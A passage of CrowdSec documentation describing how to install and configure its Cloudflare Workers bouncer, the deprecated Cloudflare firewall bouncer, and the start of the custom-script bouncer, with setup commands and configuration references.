https://github.com/crowdsecurity/cs-cloudflare-worker-bouncer cd cs-cloudflare-worker-bouncer make release cd crowdsec-cloudflare-worker-bouncer-* ./crowdsec-cloudflare-worker-bouncer -g , -o /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml sudo vi /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml sudo systemctl start crowdsec-cloudflare-worker-bouncer ``` SHCOPY ``` git clone https://github.com/crowdsecurity/cs-cloudflare-worker-bouncer cd cs-cloudflare-worker-bouncer make release cd crowdsec-cloudflare-worker-bouncer-* ./crowdsec-cloudflare-worker-bouncer -g , -o /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml sudo vi /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml ./crowdsec-cloudflare-worker-bouncer -S -c /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml ``` ### Daemon Mode[โ€‹](#daemon-mode "Direct link to Daemon Mode") The Go process runs continuously and: 1. Creates a Cloudflare Worker and a KV namespace per configured account. 2. Creates Worker Routes per configured zone โ€” all matching requests are handled by the worker. 3. Periodically polls your Security Engine or Blocklist Integration and updates the KV store with the latest decisions. 4. For every incoming request, the Remediation Worker checks the IP, country, and AS against the KV store and applies the matching remediation. *A Blocklist Integration endpoint can be substituted for the Security Engine in the diagram below.* ![Daemon Mode Architecture](/assets/images/cfworkerarch-b951b3b56867bf241be3ba69ef7e8294.png) info The Workers and KV created by the bouncer are cleaned up from Cloudflare automatically on daemon stop or launch error. ### Autonomous Mode[โ€‹](#autonomous-mode "Direct link to Autonomous Mode") The Go process deploys the infrastructure once and exits. No persistent daemon is needed. Two Cloudflare Workers are deployed: * `crowdsec-cloudflare-worker-bouncer` (Remediation Worker) โ€” applies cached decisions to incoming requests. * `decisions-sync-worker` (Sync Worker) โ€” periodically fetches decisions from CrowdSec using Cloudflare scheduled tasks. ![Autonomous mode init](/img/bouncer/cloudflare-worker/cf-autonomous-init.png) Once deployed, the Sync Worker runs on the configured cron schedule and keeps the KV store current. ![Autonomous mode sync](/img/bouncer/cloudflare-worker/cf-autonomous-sync.png) ![Autonomous mode full architecture](/img/bouncer/cloudflare-worker/cf-autonomous-architecture.png) #### Resetting Decisions[โ€‹](#resetting-decisions "Direct link to Resetting Decisions") To reset all decisions in the KV store without redeploying the infrastructure, add a `RESET` key with value `true` to the KV namespace via the Cloudflare dashboard. On the next sync cycle the worker will clear all existing decisions and repopulate from CrowdSec. ### Metrics[โ€‹](#metrics "Direct link to Metrics") The Remediation Worker writes metric data points to a [Workers Analytics Engine](https://developers.cloudflare.com/analytics/analytics-engine/) dataset, tracking: * Number of requests processed * Number of requests blocked * Number of requests that threw an exception * Average request processing latency info Since `v0.0.18`, metrics are stored in a Workers Analytics Engine dataset instead of a D1 database. Make sure your Cloudflare token has `Account Analytics: Read` permission (see the [permissions table](#cloudflare-api-token)). Without it the metric poll returns a `403` and metrics are disabled, but remediation enforcement is unaffected. If upgrading from an older version, the legacy `CROWDSECCFBOUNCERDB` D1 database is no longer used and can be deleted manually from the Cloudflare dashboard. The dataset name defaults to `crowdsec_cloudflare_bouncer` and can be customized with [`worker.analytics_dataset`](#workeranalytics_dataset). **In Daemon Mode**, the running process polls the Analytics Engine SQL API, exposes metrics via Prometheus, and pushes them to CrowdSec for `cscli` visualization. **In Autonomous Mode**, metrics are collected in the Analytics Engine dataset but are **not pushed to CrowdSec**. ### CLI Helpers[โ€‹](#cli-helpers "Direct link to CLI Helpers") #### Auto Config Generator[โ€‹](#auto-config-generator "Direct link to Auto Config Generator") Generates a configuration file by discovering all accounts and zones associated with your tokens: SHCOPY ``` sudo crowdsec-cloudflare-worker-bouncer -g , -o cfg.yaml cat cfg.yaml > /etc/crowdsec/bouncers/crowdsec-cloudflare-worker-bouncer.yaml ``` note This only generates Cloudflare-related config. CrowdSec LAPI config must be set manually in the output file. Using a custom config path: SHCOPY ``` sudo crowdsec-cloudflare-worker-bouncer -c ./cfg.yaml -g , ``` #### Cloudflare Cleanup[โ€‹](#cloudflare-cleanup "Direct link to Cloudflare Cleanup") Deletes all Cloudflare infrastructure created by the bouncer: SHCOPY ``` sudo crowdsec-cloudflare-worker-bouncer -d ``` *** ## Setting Up the Worker Route Fail Mode[โ€‹](#setting-up-the-worker-route-fail-mode "Direct link to Setting Up the Worker Route Fail Mode") Worker routes are created with **Fail Closed** mode by default. In this mode, any worker error results in a Cloudflare 1027 error page shown to visitors โ€” including errors caused by plan quota overruns. There is no public Cloudflare API to change this. **We recommend manually switching all bouncer-created routes to Fail Open**, so that if the worker encounters an error, traffic bypasses it and reaches your origin server normally. 1. Log in to the Cloudflare dashboard and select your account. 2. Open the website's Overview page. 3. Click **Worker Routes** in the left menu. ![Worker Route tab](/assets/images/cfsitedashboard-95e49e436666effef28a25eebf232615.png) 4. Click the route created by the bouncer, then click **Edit**. 5. Under **Request limit failure mode**, select **Fail open**. ![Fail Open setting](/assets/images/cffailmode-7e5e7df1d24beb02b68113fbd4ee09c6.png) *** ## Appendix: Test with Cloudflare Free Plan[โ€‹](#appendix-test-with-cloudflare-free-plan "Direct link to Appendix: Test with Cloudflare Free Plan") Using the free plan is feasible but requires understanding its constraints. ### Free Plan Limitations[โ€‹](#free-plan-limitations "Direct link to Free Plan Limitations") | Limit | Value | Impact | | --------------- | ---------------------- | --------------------------------------------------- | | KV writes | 1,000 / day | Initial blocklist population is truncated to 1K IPs | | Worker requests | 100K / day or 1K / min | Heavy traffic may exhaust quota | The KV write limit is the primary constraint โ€” large blocklists (tens of thousands of IPs) will be truncated on first sync. Incremental updates still flow in over time, so coverage grows gradually. When the request quota is exhausted, the worker stops applying remediation. This makes [setting Fail Open](#setting-up-the-worker-route-fail-mode) essential โ€” without it your site returns error pages to all visitors once the quota is hit. ### Recommended Free Plan Configuration[โ€‹](#recommended-free-plan-configuration "Direct link to Recommended Free Plan Configuration") 1. **Auto-generate config**: [use the config generator](#auto-config-generator). 2. **Limit decision sources** to your local Security Engine only: YAMLCOPY ``` crowdsec_config: only_include_decisions_from: ["cscli", "crowdsec"] ``` 3. **Set Fail Open** on all worker routes: [instructions above](#setting-up-the-worker-route-fail-mode). 4. **Test with a manual decision**: SHCOPY ``` sudo cscli decisions add --ip 192.168.1.1 --type captcha sudo cscli decisions list --origin cscli ``` Within a few seconds the decision appears in the KV store and the remediation is enforced. *** ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") ### `crowdsec_config`[โ€‹](#crowdsec_config "Direct link to crowdsec_config") YAMLCOPY ``` crowdsec_config: lapi_key: ${API_KEY} lapi_url: ${CROWDSEC_LAPI_URL} update_frequency: 10s include_scenarios_containing: [] exclude_scenarios_containing: [] only_include_decisions_from: [] insecure_skip_verify: false key_path: "" # TLS client key for LAPI authentication cert_path: "" # TLS client cert for LAPI authentication ca_cert_path: "" # CA cert to trust the LAPI certificate cloudflare_config: accounts: - id: zones: - zone_id: actions: - captcha default_action: captcha # captcha | ban | none routes_to_protect: [] turnstile: enabled: true rotate_secret_key: true rotate_secret_key_every: 168h0m0s mode: managed # managed | invisible | non-interactive token: account_name: owner@example.com worker: log_only: false script_name: "" kv_namespace_name: "" decisions_sync_script_name: "" analytics_dataset: "" logpush: null tags: [] compatibility_date: "" compatibility_flags: [] observability: enabled: true head_sampling_rate: 1.0 traces: enabled: true head_sampling_rate: 1.0 decisions_sync_worker: cron: '*/5 * * * *' log_level: info log_media: "stdout" log_dir: "/var/log/" ban_template_path: "" prometheus: enabled: true listen_addr: 127.0.0.1 listen_port: "2112" ``` #### `crowdsec_config.lapi_url`[โ€‹](#crowdsec_configlapi_url "Direct link to crowdsec_configlapi_url") > string URL of CrowdSec LAPI. Must be accessible from the bouncer. #### `crowdsec_config.lapi_key`[โ€‹](#crowdsec_configlapi_key "Direct link to crowdsec_configlapi_key") > string Bouncer API key. Obtain it by running on the LAPI machine: SHCOPY ``` sudo cscli -oraw bouncers add cloudflarebouncer ``` #### `crowdsec_config.update_frequency`[โ€‹](#crowdsec_configupdate_frequency "Direct link to crowdsec_configupdate_frequency") > string (parseable by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration)) How often the bouncer polls CrowdSec. Default: `10s`. #### `crowdsec_config.include_scenarios_containing`[โ€‹](#crowdsec_configinclude_scenarios_containing "Direct link to crowdsec_configinclude_scenarios_containing") > \[]string Only include decisions for IPs that triggered scenarios containing one of these words. Example YAMLExampleCOPY ``` include_scenarios_containing: ["ssh", "http"] ``` #### `crowdsec_config.exclude_scenarios_containing`[โ€‹](#crowdsec_configexclude_scenarios_containing "Direct link to crowdsec_configexclude_scenarios_containing") > \[]string Exclude decisions for IPs that triggered scenarios containing one of these words. Example YAMLExampleCOPY ``` exclude_scenarios_containing: ["ssh", "http"] ``` #### `crowdsec_config.only_include_decisions_from`[โ€‹](#crowdsec_configonly_include_decisions_from "Direct link to crowdsec_configonly_include_decisions_from") > \[]string Only include decisions originating from these sources. Example YAMLExampleCOPY ``` only_include_decisions_from: ["cscli", "crowdsec"] ``` #### `crowdsec_config.insecure_skip_verify`[โ€‹](#crowdsec_configinsecure_skip_verify "Direct link to crowdsec_configinsecure_skip_verify") > boolean Skip TLS certificate verification for LAPI. Use for self-signed certificates. #### `crowdsec_config.key_path` / `cert_path` / `ca_cert_path`[โ€‹](#crowdsec_configkey_path--cert_path--ca_cert_path "Direct link to crowdsec_configkey_path--cert_path--ca_cert_path") > string Paths to TLS client key, certificate, and CA certificate for mutual TLS authentication with LAPI. ### `cloudflare_config`[โ€‹](#cloudflare_config "Direct link to cloudflare_config") #### `accounts[].id`[โ€‹](#accountsid "Direct link to accountsid") > string Cloudflare account ID. #### `accounts[].zones[].zone_id`[โ€‹](#accountszoneszone_id "Direct link to accountszoneszone_id") > string Cloudflare zone ID. #### `accounts[].zones[].actions`[โ€‹](#accountszonesactions "Direct link to accountszonesactions") > `captcha` | `ban` Remediations supported by this zone. #### `accounts[].zones[].default_action`[โ€‹](#accountszonesdefault_action "Direct link to accountszonesdefault_action") > `captcha` | `ban` | `none` Remediation applied when a decision's type is not in `actions`. Set to `none` to ignore such decisions. #### `accounts[].zones[].routes_to_protect`[โ€‹](#accountszonesroutes_to_protect "Direct link to accountszonesroutes_to_protect") > \[]string Routes within the zone to protect. Example: `["*example.com/*"]` #### `accounts[].zones[].turnstile.enabled`[โ€‹](#accountszonesturnstileenabled "Direct link to accountszonesturnstileenabled") > boolean Enable Turnstile (CAPTCHA) for this zone. #### `accounts[].zones[].turnstile.rotate_secret_key`[โ€‹](#accountszonesturnstilerotate_secret_key "Direct link to accountszonesturnstilerotate_secret_key") > boolean Automatically rotate the Turnstile secret key. #### `accounts[].zones[].turnstile.rotate_secret_key_every`[โ€‹](#accountszonesturnstilerotate_secret_key_every "Direct link to accountszonesturnstilerotate_secret_key_every") > string (parseable by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration)) Rotation interval. Example: `168h0m0s` (7 days). #### `accounts[].zones[].turnstile.mode`[โ€‹](#accountszonesturnstilemode "Direct link to accountszonesturnstilemode") > `managed` | `invisible` | `non-interactive` Turnstile widget mode. See [Cloudflare docs](https://developers.cloudflare.com/turnstile/reference/widget-types/). #### `accounts[].token`[โ€‹](#accountstoken "Direct link to accountstoken") > string Cloudflare API token for this account. #### `accounts[].account_name`[โ€‹](#accountsaccount_name "Direct link to accountsaccount_name") > string Human-readable account name. #### `worker.log_only`[โ€‹](#workerlog_only "Direct link to workerlog_only") > bool If `true`, allow all requests but record what would have been blocked in metrics. Default: `false`. #### `worker.script_name`[โ€‹](#workerscript_name "Direct link to workerscript_name") > string Name of the Remediation Worker script. Default: `crowdsec-cloudflare-worker-bouncer`. #### `worker.kv_namespace_name`[โ€‹](#workerkv_namespace_name "Direct link to workerkv_namespace_name") > string Name of the KV namespace. Change this when running multiple bouncer instances on the same account. Default: `CROWDSECCFBOUNCERNS`. #### `worker.decisions_sync_script_name`[โ€‹](#workerdecisions_sync_script_name "Direct link to workerdecisions_sync_script_name") > string Name of the Sync Worker script. Change when running multiple instances. Default: `crowdsec-decisions-sync-worker`. #### `worker.analytics_dataset`[โ€‹](#workeranalytics_dataset "Direct link to workeranalytics_dataset") > string Workers Analytics Engine dataset name for metrics. Must match `^[a-zA-Z_][a-zA-Z0-9_]{0,63}$`. Default: `crowdsec_cloudflare_bouncer`. #### `worker.logpush`[โ€‹](#workerlogpush "Direct link to workerlogpush") > bool Enable log push for the worker. #### `worker.compatibility_date`[โ€‹](#workercompatibility_date "Direct link to workercompatibility_date") > string See [Cloudflare compatibility dates](https://developers.cloudflare.com/workers/configuration/compatibility-dates/). #### `worker.compatibility_flags`[โ€‹](#workercompatibility_flags "Direct link to workercompatibility_flags") > \[]string See [Cloudflare compatibility flags](https://developers.cloudflare.com/workers/configuration/compatibility-flags/). #### `worker.observability`[โ€‹](#workerobservability "Direct link to workerobservability") > object Optional [Workers Observability](https://developers.cloudflare.com/workers/observability/logs/workers-logs/) configuration. Omit to leave Cloudflare defaults in place. Example YAMLExampleCOPY ``` observability: enabled: true head_sampling_rate: 1.0 traces: enabled: true head_sampling_rate: 1.0 ``` #### `decisions_sync_worker.cron`[โ€‹](#decisions_sync_workercron "Direct link to decisions_sync_workercron") > string Cron schedule for the Sync Worker in autonomous mode. Standard 5-field cron syntax. Examples: * `*/1 * * * *` โ€” every minute * `*/5 * * * *` โ€” every 5 minutes (default) * `*/10 * * * *` โ€” every 10 minutes note Applies only to autonomous mode. In daemon mode, `crowdsec_config.update_frequency` controls sync frequency. ### `prometheus`[โ€‹](#prometheus "Direct link to prometheus") #### `enabled`[โ€‹](#enabled "Direct link to enabled") > boolean Enable Prometheus metrics endpoint. #### `listen_addr`[โ€‹](#listen_addr "Direct link to listen_addr") > string Address to bind. Example: `127.0.0.1`. #### `listen_port`[โ€‹](#listen_port "Direct link to listen_port") > string Port to bind. Example: `2112`. ### Others[โ€‹](#others "Direct link to Others") #### `ban_template_path`[โ€‹](#ban_template_path "Direct link to ban_template_path") > string Path to a custom HTML template rendered for banned requests. Leave empty to use the default. #### `log_level`[โ€‹](#log_level "Direct link to log_level") > `info` | `debug` | `error` | `warning` | `trace` #### `log_media`[โ€‹](#log_media "Direct link to log_media") > `stdout` | `file` With `file`, logs are written to `log_dir/crowdsec-cloudflare-worker-bouncer.log`. #### `log_dir`[โ€‹](#log_dir "Direct link to log_dir") > string Log directory when `log_media` is `file`. ## Troubleshooting[โ€‹](#troubleshooting "Direct link to Troubleshooting") * Prometheus metrics: `http://localhost:2112/metrics` --- # Cloudflare DEPRECATED BOUNCER ![](/img/crowdsec_cloudfare.svg) ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeStream only MetricsUnsupported MTLSSupported PrometheusSupported danger This bouncer isn't actively supported anymore, due to changes to Cloudflare's API rate limitations. You should instead look at the [Cloudflare Workers Bouncer](https://docs.crowdsec.net/u/bouncers/cloudflare.md). A Remediation Component that syncs the decisions made by CrowdSec with CloudFlare's firewall. Manages multi user, multi account, multi zone setup. Supports IP, Country and AS scoped decisions. ## Installation[โ€‹](#installation "Direct link to Installation") ### Repository[โ€‹](#repository "Direct link to Repository") Packages for crowdsec-cloudflare-bouncer [are available on our repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md#repository-installation). You need to pick the package accord to your firewall system : * Debian/Ubuntu * RHEL/Centos/Fedora SHCOPY ``` sudo apt install crowdsec-cloudflare-bouncer ``` SHCOPY ``` sudo yum install crowdsec-cloudflare-bouncer ``` Then run the following commands to setup your bouncer: SHCOPY ``` sudo crowdsec-cloudflare-bouncer -g , -o /etc/crowdsec/bouncers/crowdsec-cloudflare-bouncer.yaml # auto-generate cloudflare config for provided space separated tokens sudo crowdsec-cloudflare-bouncer -s # this sets up IP lists and firewall rules at cloudflare for the provided config. sudo systemctl start crowdsec-cloudflare-bouncer # the bouncer now syncs the crowdsec decisions with cloudflare components. ``` warning Please configure your server to emit real IPs rather than cloudflare IPs in logs, so crowdsec can function properly. See how to [here](https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs) info If your component is not installed on the same machine than LAPI, don't forget to set the `crowdsec_lapi_url` and `crowdsec_lapi_key` in the configuration file `/etc/crowdsec/bouncers/crowdsec-cloudflare-bouncer.yaml` note You need to run `sudo crowdsec-cloudflare-bouncer -d` to cleanup exisiting cloudflare components created by component before editing the config files. note You can run `sudo crowdsec-cloudflare-bouncer -g , -o /etc/crowdsec/bouncers/crowdsec-cloudflare-bouncer.yaml` to generate the configuration by discovering all the accounts and the zones associated with the provided tokens. ### Manual[โ€‹](#manual "Direct link to Manual") #### Assisted[โ€‹](#assisted "Direct link to Assisted") Download the [latest release](https://github.com/crowdsecurity/cs-cloudflare-bouncer/releases). SHCOPY ``` tar xzvf crowdsec-cloudflare-bouncer.tgz cd crowdsec-cloudflare-bouncer/ sudo ./install.sh sudo crowdsec-cloudflare-bouncer -g , -o /etc/crowdsec/bouncers/crowdsec-cloudflare-bouncer.yaml # auto-generate cloudflare config for provided tokens sudo crowdsec-cloudflare-bouncer -s # this sets up IP lists and firewall rules at cloudflare for the provided config. sudo systemctl start crowdsec-cloudflare-bouncer # the bouncer now syncs the crowdsec decisions with cloudflare components. ``` #### From source[โ€‹](#from-source "Direct link to From source") SHCOPY ``` make release cd crowdsec-cloudflare-bouncer-vX.X.X sudo ./install.sh ``` Rest of the steps are same as of the above method. ## Container[โ€‹](#container "Direct link to Container") Make sure you have docker or podman installed. In this guide we will use docker, but podman would work as a drop in replacement too. ### Setup[โ€‹](#setup "Direct link to Setup") SHCOPY ``` docker run crowdsecurity/cloudflare-bouncer \ -g , > cfg.yaml # auto-generate cloudflare config for provided space separated tokens ``` You can then review the contents of the file `cfg.yaml` and make any necessary changes. TEXTCOPY ``` vim cfg.yaml # review config and set `crowdsec_lapi_key` ``` The `crowdsec_lapi_key` can be obtained by running the following: SHCOPY ``` sudo cscli -oraw bouncers add cloudflarebouncer # -oraw flag can discarded for human friendly output. ``` The `crowdsec_lapi_url` must be accessible from the container. ### Runtime[โ€‹](#runtime "Direct link to Runtime") SHCOPY ``` docker run \ -v $PWD/cfg.yaml:/etc/crowdsec/bouncers/crowdsec-cloudflare-bouncer.yaml \ -p 2112:2112 \ crowdsecurity/cloudflare-bouncer ``` ## Configuration[โ€‹](#configuration "Direct link to Configuration") Configuration file can be found at `/etc/crowdsec/bouncers/crowdsec-cloudflare-bouncer.yaml` YAMLCOPY ``` # CrowdSec Config crowdsec_lapi_url: http://localhost:8080/ crowdsec_lapi_key: ${API_KEY} crowdsec_update_frequency: 10s include_scenarios_containing: [] # ignore IPs banned for triggering scenarios not containing either of provided word, eg ["ssh", "http"] exclude_scenarios_containing: [] # ignore IPs banned for triggering scenarios containing either of provided word only_include_decisions_from: [] # only include IPs banned due to decisions orginating from provided sources. eg value ["cscli", "crowdsec"] #Cloudflare Config. cloudflare_config: accounts: - id: token: ip_list_prefix: crowdsec default_action: managed_challenge total_ip_list_capacity: # only this many latest ip scoped decisions would be kept zones: - actions: - managed_challenge # valid choices are either of managed_challenge, js_challenge, block zone_id: update_frequency: 30s # the frequency to update the cloudflare IP list # Component Config daemon: true log_mode: file log_dir: /var/log/ log_level: info # valid choices are either debug, info, error log_max_size: 40 log_max_age: 30 log_max_backups: 3 compress_logs: true prometheus: enabled: true listen_addr: 127.0.0.1 listen_port: 2112 ``` ## Making changes to configuration[โ€‹](#making-changes-to-configuration "Direct link to Making changes to configuration") The component creates Cloudflare infra (IP lists, rules etc) according to your config file. Before changing the config, always run the following command to clear old infra: TEXTCOPY ``` sudo crowdsec-cloudflare-bouncer -d ``` ### Upgrading from v0.0.X to v0.1.Y[โ€‹](#upgrading-from-v00x-to-v01y "Direct link to Upgrading from v0.0.X to v0.1.Y") During v0.0.X there was no `managed_challenge` action, instead `challenge` action was used by bouncer. This is deprecated since v0.1.0 . This section assumes you used the default config (generated via `crowdsec-cloudflare-bouncer -g ,` ) After upgrading the component from v0.0.X to v0.1.Y , run the following commands to migrate to `managed_challenge`. SHCOPY ``` sudo crowdsec-cloudflare-bouncer -d sudo crowdsec-cloudflare-bouncer -g , -o sudo systemctl restart crowdsec-cloudflare-bouncer ``` ## Cloudflare Configuration[โ€‹](#cloudflare-configuration "Direct link to Cloudflare Configuration") **Background:** In Cloudflare, each user can have access to multiple accounts. Each account can own/access multiple zones. In this context a zone can be considered as a domain. Each domain registered with cloudflare gets a distinct `zone_id`. For obtaining the `token`: 1. Sign in as a user who has access to the desired account. 2. Go to [Tokens](https://dash.cloudflare.com/profile/api-tokens) and create the token. The component requires the following permissions to function. ![image](https://raw.githubusercontent.com/crowdsecurity/cs-cloudflare-bouncer/main/docs/assets/token_permissions.png) To automatically generate config for cloudflare check the helper section below. note If the zone is subscribed to a paid Cloudflare plan then it can be configured to support multiple types of actions. For free plan zones only one action is supported. The first action is applied as default action. ## Helpers[โ€‹](#helpers "Direct link to Helpers") The component binary has built in helper scripts to do various operations. ### Auto config generator[โ€‹](#auto-config-generator "Direct link to Auto config generator") Generates component config by discovering all the accounts and the zones associated with provided list of tokens. Example Usage: SHCOPY ``` sudo crowdsec-cloudflare-bouncer -g ,... -o /etc/crowdsec/bouncers/crowdsec-cloudflare-bouncer.yaml ``` note This script only generates cloudflare related config. By default it refers to the config at `/etc/crowdsec/bouncers/crowdsec-cloudflare-bouncer.yaml` for crowdsec configuration. Using custom config: SHCOPY ``` sudo crowdsec-cloudflare-bouncer -c /path/to/config/file -g ,... ``` ### Cloudflare Setup[โ€‹](#cloudflare-setup "Direct link to Cloudflare Setup") This only creates the required IP lists and firewall rules at cloudflare and exits. Example Usage: SHCOPY ``` sudo crowdsec-cloudflare-bouncer -s ``` ### Cloudflare Cleanup[โ€‹](#cloudflare-cleanup "Direct link to Cloudflare Cleanup") This deletes all IP lists and firewall rules at cloudflare which were created by the component. Example Usage: SHCOPY ``` sudo crowdsec-cloudflare-bouncer -d ``` ## How it works[โ€‹](#how-it-works "Direct link to How it works") The service polls the CrowdSec Local API for new / deleted decisions. It then makes API calls to Cloudflare to update IP lists and firewall rules depending upon the decision. ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") ### `crowdsec_lapi_url`[โ€‹](#crowdsec_lapi_url "Direct link to crowdsec_lapi_url") > string The URL of CrowdSec LAPI. It should be accessible from the component. ### `crowdsec_lapi_key`[โ€‹](#crowdsec_lapi_key "Direct link to crowdsec_lapi_key") > string API key to authenticate with the LAPI. ### `cert_path`[โ€‹](#cert_path "Direct link to cert_path") > string Path to the certificate file used to authenticate with the LAPI. ### `key_path`[โ€‹](#key_path "Direct link to key_path") > string Path to the key file used to authenticate with the LAPI. ### `ca_path_file`[โ€‹](#ca_path_file "Direct link to ca_path_file") > string Path to the CA file used to trust the LAPI certificate. ### `crowdsec_update_frequency`[โ€‹](#crowdsec_update_frequency "Direct link to crowdsec_update_frequency") > string (That is parseable by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration)) The component will poll the CrowdSec every `update_frequency` interval. ### `include_scenarios_containing`[โ€‹](#include_scenarios_containing "Direct link to include_scenarios_containing") > \[ ]string Ignore IPs banned for triggering scenarios not containing either of provided word. Example YAMLExampleCOPY ``` include_scenarios_containing: ["ssh", "http"] ``` ### `exclude_scenarios_containing`[โ€‹](#exclude_scenarios_containing "Direct link to exclude_scenarios_containing") > \[ ]string Ignore IPs banned for triggering scenarios containing either of provided word. Example YAMLExampleCOPY ``` exclude_scenarios_containing: ["ssh", "http"] ``` ### `only_include_decisions_from`[โ€‹](#only_include_decisions_from "Direct link to only_include_decisions_from") > \[ ]string Only include IPs banned due to decisions orginating from provided sources. Example YAMLExampleCOPY ``` only_include_decisions_from: ["cscli", "crowdsec"] ``` ### `cloudflare_config`[โ€‹](#cloudflare_config "Direct link to cloudflare_config") > [CloudflareConfig](https://github.com/crowdsecurity/cs-cloudflare-bouncer/blob/20c902ee1e95fe13135dd493d7e96840bafc931b/pkg/cfg/config.go#L34-L37) This block contains cloudflare specific config. #### `update_frequency`[โ€‹](#update_frequency "Direct link to update_frequency") > string (That is parseable by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration)) The frequency at which to update the cloudflare resources. Example YAMLExampleCOPY ``` update_frequency: "10s" ``` #### `accounts`[โ€‹](#accounts "Direct link to accounts") > \[ ][AccountConfig](https://github.com/crowdsecurity/cs-cloudflare-bouncer/blob/20c902ee1e95fe13135dd493d7e96840bafc931b/pkg/cfg/config.go#L26-L33) List of account of configs ##### `id`[โ€‹](#id "Direct link to id") > string id of cloudflare account ##### `token`[โ€‹](#token "Direct link to token") > string cloudflare token to use to access the account. ##### `ip_list_prefix`[โ€‹](#ip_list_prefix "Direct link to ip_list_prefix") > string The prefix to use for naming the IP lists created by the bouncer. The name of IP list will be of the form `ip_list_prefix`+`action`. ##### `total_ip_list_capacity`[โ€‹](#total_ip_list_capacity "Direct link to total_ip_list_capacity") > int Limit the number of items in IP lists. This is required for avoiding limit of 10k items for lists. ##### `default_action`[โ€‹](#default_action "Direct link to default_action") > `managed_challenge` | `block` | `js_challenge` | `challenge` | `none` The action to be applied for a decision, if the decision's action is not supported by a zone. `default_action` must be supported by all zones. **Example:** Consider your zone config supports the actions `managed_challenge` and `js_challenge`. Your `default_action` is `managed_action`. If you create the following decision: TEXTCOPY ``` sudo cscli decisions add --ip 192.168.1.1 --type ban ``` Since the zone doesn't support `ban` decision type, it'll be inserted into the IP list given by `default_action`. In this case it'll be the list for `managed_challenge`. You can completely ignore such decisions by setting `default_action` to `none`. It won't be inserted into any list then. **Note:** Following table is mapping of decision type to it's destination IP list. | Decision Type | Default Action | | ------------- | ------------------ | | captcha | managed\_challenge | | ban | block | | js\_challenge | js\_challenge | warning `challenge` action is deprecated in favour of `managed_challenge`. #### `zones`[โ€‹](#zones "Direct link to zones") > \[ ][ZoneConfig](https://github.com/crowdsecurity/cs-cloudflare-bouncer/blob/20c902ee1e95fe13135dd493d7e96840bafc931b/pkg/cfg/config.go#L21-L25) This block contains config for each zone to be managed by the component. The zone must be accessible from the parent account. ##### `zone_id`[โ€‹](#zone_id "Direct link to zone_id") > string The id of the zone. ##### `actions`[โ€‹](#actions "Direct link to actions") > \[ ]string List of actions to be supported by this zone. If the zone is not subscribed to premium plan, then only a single action can be given. The supported action must include the `default_action` of the parent account. Valid choice includes either of * `block` * `js_challenge` * `challenge` * `managed_challenge`. The component creates an IP list for each action. IP list is at account level, so multiple zones with same parent account will share lists for particular action. warning `challenge` action is deprecated in favour of `managed_challenge` **Note:** Following table is mapping of decision type to it's destination IP list, which are created according to zone actions | Decision Type | Zone Action | | ------------- | ------------------ | | captcha | managed\_challenge | | ban | block | | js\_challenge | js\_challenge | ### `daemon`[โ€‹](#daemon "Direct link to daemon") > boolean warning This field has now been deprecated and is ignored within the component Run the component as a daemon. ### `log_mode`[โ€‹](#log_mode "Direct link to log_mode") > `stdout` | `file` Where the log contents are written (With `file` it will be written to `log_dir` with the name `crowdsec-cloudflare-bouncer.log`) ### `log_dir`[โ€‹](#log_dir "Direct link to log_dir") > string Relevant if `log_mode` is `file`. This determines where to create log file. ### `log_level`[โ€‹](#log_level "Direct link to log_level") > `trace` | `debug` | `info` | `error` Log level for the component. ### `compress_logs`[โ€‹](#compress_logs "Direct link to compress_logs") > `true` | `false` Compress log files on rotation ### `log_max_size`[โ€‹](#log_max_size "Direct link to log_max_size") > int (in MB) Max size of log files before rotation ### `log_max_backups`[โ€‹](#log_max_backups "Direct link to log_max_backups") > int How many backup log files to keep before deletion (can happen before `log_max_age` is reached) ### `log_max_age`[โ€‹](#log_max_age "Direct link to log_max_age") > int (in days) Max age of backup files before deletion (can happen before `log_max_backups` is reached) ## Troubleshooting[โ€‹](#troubleshooting "Direct link to Troubleshooting") * Metrics can be seen at * Logs are in `/var/log/crowdsec-cloudflare-bouncer.log` (Default unless changed in config) * You can view/interact directly in the ban list either with `cscli` * Service can be started/stopped with `systemctl start/stop crowdsec-cloudflare-bouncer` --- # Custom ![CrowdSec](/img/crowdsec_custom.svg "CrowdSec") ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeStream only MetricsUnsupported MTLSUnsupported PrometheusSupported CrowdSec Remediation Component written to invoke custom scripts. The crowdsec-custom-bouncer will periodically fetch new, expired and removed decisions from the CrowdSec Local API and will pass them as arguments to a custom user script. ## Installation[โ€‹](#installation "Direct link to Installation") ### Repository[โ€‹](#repository "Direct link to Repository") [Setup crowdsec repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md#repository-installation). * Debian/Ubuntu * RHEL/Centos/Fedora SHCOPY ``` sudo apt install crowdsec-custom-bouncer ``` SHCOPY ``` sudo yum install crowdsec-custom-bouncer ``` ### Manual[โ€‹](#manual "Direct link to Manual") #### Assisted[โ€‹](#assisted "Direct link to Assisted") Download the latest [`crowdsec-custom-bouncer` release](https://github.com/crowdsecurity/cs-custom-bouncer/releases) SHCOPY ``` tar xzvf crowdsec-custom-bouncer.tgz cd crowdsec-custom-bouncer* sudo ./install.sh ``` Edit the configuration file to your desired settings: SHCOPY ``` sudo vim /etc/crowdsec/bouncers/crowdsec-custom-bouncer.yaml ``` Then enable the service: SHCOPY ``` sudo systemctl enable --now crowdsec-custom-bouncer ``` #### From source[โ€‹](#from-source 